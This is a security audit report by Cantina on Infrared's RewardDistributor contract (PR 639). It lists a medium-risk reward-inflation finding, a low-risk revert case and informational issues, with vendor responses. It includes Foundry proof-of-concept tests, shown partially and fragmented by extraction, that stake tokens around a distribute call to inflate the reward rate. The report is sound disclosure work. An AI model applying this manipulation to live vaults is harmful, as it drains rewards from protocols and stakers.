



Infrared PR 639

Security Review

Cantina Managed review by:

Alireza Arjmand, Lead Security Researcher

Cryptara, Security Researcher

November 12, 2025

Contents

1	Introduction	2
1.1	About Cantina	2
1.2	Disclaimer	2
1.3	Risk assessment	2
1.3.1	Severity Classification	2
2	Security Review Summary	3
2.1	Scope	3
2.2	Trust assumptions	3
3	Findings	4
3.1	Medium Risk	4
3.1.1	Reward Inflation via Manipulation of <code>totalSupply</code> in <code>distribute</code>	4
3.2	Low Risk	6
3.2.1	<code>distribute</code> function may fail due to decreasing the <code>rewardRate</code>	6
3.3	Informational	8
3.3.1	<code>withdrawRewards</code> could be a rescue function	8
3.3.2	Missing Vault Registry Validation in Constructor	8
3.3.3	Unused Event Declaration	9
3.3.4	Inaccurate Year Duration Constant for APR Calculations	9
3.3.5	<code>distribute</code> does not account for <code>rewardResidual</code>	9

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Infrared simplifies interacting with Proof of Liquidity with liquid staking products such as iBGT and iBERA.

From Sep 24th to Sep 25th the Cantina team conducted a review of [infrared-contracts](#) on commit hash [f06a88f4](#). The team identified a total of **7** issues:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	1	1	0
Low Risk	1	0	1
Gas Optimizations	0	0	0
Informational	6	5	0
Total	7	6	1

2.1 Scope

The security review had the following components in scope for [infrared-contracts](#) on commit hash [f06a88f4](#):

```
src/periphery/RewardDistributor.sol
```

(file changed on [PR 639](#))

2.2 Trust assumptions

For the audited code to function as intended, the following assumption must hold when interacting with the contract:

- Before invoking `distribute`, the caller must transfer the `rewardsToken` funds to the protocol. Additionally, the caller should bubble up any errors returned by `distribute`. Otherwise, the funds will remain within the `RewardDistributor` which might not be the ideal outcome by the sender.


```

        address(rewardToken),
        9_000, // 90%!
        2 hours // daily
    ); // These are inspired by the init values in the tests
}

// forge test --match-test testBoostTotalSupplytoFailDistribute
↳ --rpc-url=$BERACHAIN_RPC_URL --block-number 10918209
function testBoostTotalSupplytoFailDistribute() public {
    uint256 stakingValue = 200_000_000 ether;
    uint256 rewardValue = 100_000_000 ether;
    deal(address(stakingToken), address(this), stakingValue);
    deal(address(rewardToken), address(this), rewardValue);
    stakingToken.approve(address(infraredVault), type(uint256).max);

    rewardToken.transfer(address(rewardDistributor), rewardValue);

    uint256 balanceBefore = rewardToken.balanceOf(address(rewardDistributor));

    rewardDistributor.distribute();

    uint256 balanceAfter = rewardToken.balanceOf(address(rewardDistributor));

    console2.log("Without Manipulation of the `totalSupply` the rewards sent is: ",
    ↳ balanceBefore - balanceAfter); // 8_044_444_783_139_773_698_375
    console2.log("Total supply is: ", infraredVault.totalSupply()); //
    ↳ 13_007_031_053_307_644_266_811_127
    logRewardRate(); // 371_205_224_124_076_606

    uint256 initialBlockTimestamp = block.timestamp;
    vm.warp(initialBlockTimestamp + 86_400); // After a day

    balanceBefore = rewardToken.balanceOf(address(rewardDistributor));

    infraredVault.stake(100_000_000 ether);

    rewardDistributor.distribute();

    infraredVault.stake(100_000_000 ether);

    balanceAfter = rewardToken.balanceOf(address(rewardDistributor));

    console2.log("After Manipulation of the `totalSupply` the rewards sent is: ",
    ↳ balanceBefore - balanceAfter); // 278_647_473_830_073_643_397_616
    console2.log("Total supply is: ", infraredVault.totalSupply()); //
    ↳ 213_007_031_053_307_644_266_811_127
    logRewardRate(); // 3_225_086_502_662_889_391
}

function logRewardRate() internal {
    Reward memory reward =
        infraredVault.rewardData(address(rewardToken));
    console2.log("Reward rate: ", reward.rewardRate);
}

}

interface IInfrared {
    function addIncentives(address, address, uint256) external;
}

interface InfraredVault {
    function rewardData(address) external returns (Reward memory);
    function stake(uint256) external;
    function withdraw(uint256) external;
    function totalSupply() external returns (uint256);
}

```

```
}
```

Recommendation: To mitigate this, the reward calculation logic in `distribute` can be moved off-chain, and callers can instead use `addIncentive` directly to extend the reward period.

Infrared Finance: Acknowledged. We are currently distributing manually with timing issues to not let APR drop to zero. Automating with a backend bot would require sending lots of reward tokens through an EOA hosted on a cloud, which is not a secure design. Hence the contract.

`totalSupply` slippage protection fix in commit [cd9022c2](#).

Cantina Managed: Verified the fix.

3.2 Low Risk

3.2.1 `distribute` function may fail due to decreasing the `rewardRate`

Severity: Low Risk

Context: `VaultManagerLib.sol`#L291-L293, `RewardDistributor.sol`#L285-L290

Description: The `RewardDistributor` contract uses the `totalRewardsNeeded` formula to determine how much funds must be provided in order to maintain the intended APR across stakers.

The underlying vault enforces a check to ensure that any new call to `addIncentives` does not reduce the `rewardRate` for the current reward duration. It should be noted that `distributeRewards` sets the reward rate as:

```
targetAPR * totalSupply / (SECONDS_PER_YEAR * BASIS_POINTS)
```

Since the value depends directly on `totalSupply`, it can fluctuate with deposits and withdrawals.

When `distribute` executes, it attempts to calculate the `additionalAmount` required to sustain the APR for the next reward duration. If no `additionalAmount` is needed, the call reverts. An edge case arises when `additionalAmount` is above zero but the current `rewardRate` is higher than the rate calculated above, in this case the call to `addIncentives` would fail.

The proof of concept below illustrates such a case: a user withdraws their staked tokens after a `distribute` call. This withdrawal increases the yield for the remaining stakers above the target APR. When a subsequent `distribute` call occurs (e.g., after more than two hours), it attempts to extend the APR duration but cannot, since resetting the duration to the full period would lower the `rewardRate`, causing the transaction to fail.

Proof of Concept:

```
pragma solidity ^0.8.13;

import {console2, Test} from "forge-std/Test.sol";
import {RewardDistributor} from "src/RewardDistributor.sol";

import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";

struct Reward {
    address rewardsDistributor;
    uint256 rewardsDuration;
    uint256 periodFinish;
    uint256 rewardRate;
    uint256 lastUpdateTime;
    uint256 rewardPerTokenStored;
}

contract InfraredPoC is Test {
    IInfrared infrared;
    InfraredVault infraredVault;
    IERC20 rewardToken;
    IERC20 stakingToken;
}
```



```

        console2.log("Reward rate: ", reward.rewardRate);
    }
}

interface IInfrared {
    function addIncentives(address, address, uint256) external;
}

interface InfraredVault {
    function rewardData(address) external returns (Reward memory);
    function stake(uint256) external;
    function withdraw(uint256) external;
    function totalSupply() external returns (uint256);
}

```

Recommendation: To address this issue, the behavior should be clearly documented to avoid confusion. This mechanism is an intentional safeguard rooted in the underlying protocol. If the APR remains above the targetAPR, the reward duration should be extended only after the current period ends.

Infrared Finance: Acknowledged. Can include this in operational logic.

Cantina Managed: Acknowledged.

3.3 Informational

3.3.1 withdrawRewards could be a rescue function

Severity: Informational

Context: [RewardDistributor.sol#L340-L342](#)

Description: The withdrawRewards function currently allows the protocol owner to withdraw only reward tokens from the contract. It could also serve as a fallback mechanism to recover any other assets that are accidentally sent to the protocol.

Recommendation: Implementing a more general withdrawal function that accepts both the token address and the transfer amount as parameters would be helpful.

Infrared Finance: Acknowledged. Fixed in commit [ce089d7e](#).

Cantina Managed: Verified the fix.

3.3.2 Missing Vault Registry Validation in Constructor

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The RewardDistributor contract constructor does not validate that the provided `_stakingToken` parameter corresponds to an existing vault in the Infrared protocol's vault registry. The constructor accepts any address as the `_stakingToken` parameter and stores it as an immutable variable without verifying that `infrared.vaultRegistry(_stakingToken)` returns a valid vault address. This lack of validation can lead to a deployed RewardDistributor contract that will always revert when the `distribute` function is called, as it attempts to interact with a non-existent vault. The contract performs zero-address checks for other critical parameters like `_gov`, `_infrared`, `_stakingToken`, and `_rewardsToken`, but fails to ensure the staking token is actually registered in the Infrared system, creating an inconsistency in validation rigor.

Recommendation: Implement vault registry validation in the RewardDistributor constructor by adding a check that verifies the staking token exists in the Infrared vault registry and returns a valid vault address. The validation should query `infrared.vaultRegistry(_stakingToken)` and ensure the returned vault address is not zero, similar to the existing zero-address checks already implemented.

Infrared Finance: Fixed in commit [872a9ef4](#).

Cantina Managed: Verified the fix.

3.3.3 Unused Event Declaration

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The RewardDistributor contract declares a RewardAmountUpdated event in its events section but never emits this event anywhere in the contract code. The event is defined with parameters for oldAmount and newAmount suggesting it was intended to track changes to a fixed reward amount, but there is no corresponding functionality or state variable for a fixed reward amount in the current implementation.

Recommendation: Remove the unused RewardAmountUpdated event declaration from the RewardDistributor contract to clean up the interface and eliminate dead code.

Infrared Finance: Fixed in commit [872a9ef4](#).

Cantina Managed: Verified the fix.

3.3.4 Inaccurate Year Duration Constant for APR Calculations

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The RewardDistributor contract uses a hardcoded constant SECONDS_PER_YEAR defined as $365 * 24 * 60 * 60$ (31,536,000 seconds) for APR calculations in the distribute function. This constant assumes exactly 365 days per year and does not account for leap years, which occur approximately every four years and contain 366 days. Over time, this inaccuracy compounds and leads to systematic errors in APR calculations, particularly affecting long-term reward distribution accuracy.

Recommendation: Update the SECONDS_PER_YEAR constant to use 365.25 days instead of 365 days to account for leap years in the Gregorian calendar system.

Infrared Finance: Fixed in commit [872a9ef4](#).

Cantina Managed: Verified the fix.

3.3.5 distribute does not account for rewardResidual

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The distribute function calculates the totalRewardsNeeded to reach the targetAPR. However, the calculation does not account for the rewardResidual.

Recommendation: Incorporating the rewardResidual into the calculation ensures that the vault provides the minimum required amount. This also prevents scenarios where callers of distribute transfer what appears to be the correct amount for addIncentives, but the call reverts because the amount calculated is slightly higher than the amount required.

Infrared Finance: Acknowledged. Fixed in commit [872a9ef4](#).

Cantina Managed: Verified the fix.